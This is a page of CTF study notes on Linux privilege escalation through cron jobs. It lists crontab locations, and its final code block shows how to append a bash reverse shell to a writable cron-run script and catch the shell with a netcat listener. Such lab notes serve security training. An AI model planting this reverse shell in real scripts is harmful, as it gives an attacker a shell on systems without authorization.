> For the complete documentation index, see [llms.txt](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/linux-priv/cron-jobs.md).

# Cron Jobs

Cron jobs are scheduled tasks that are executed automatically at specific intervals on Unix-like operating systems. The name "cron" comes from the Greek word "chronos," meaning time, as these jobs are related to time-based scheduling.

User crontabs are usually located in /var/spool/cron/ or /var/spool/cron/crontabs/

The system-wide crontab is located at /etc/crontab.

{% code overflow="wrap" %}

```bash
cat /etc/crontab
```

{% endcode %}

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2FJGYKMfdpFGId0pvekvGh%2Fimage.png?alt=media&amp;token=906048fd-cfc4-4f18-9608-3f9558456c00" alt=""><figcaption></figcaption></figure>

```bash
# Check if you can edit the file
ls -l /usr/local/bin/compress.sh

# If you can edit the shell above, add the following reverse shell command.
bash -i >& /dev/tcp/<IP Address>/53 0>&1

# At Kali, set up a netcat listener 
nc -nlvp 53
```

Wait for a next cron job to run. You will see the conneciton.

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2F365GVQIPYTPtstLFY5q1%2Fimage.png?alt=media&amp;token=0114fb37-dac9-463f-acd3-2df216bd4079" alt=""><figcaption></figcaption></figure>
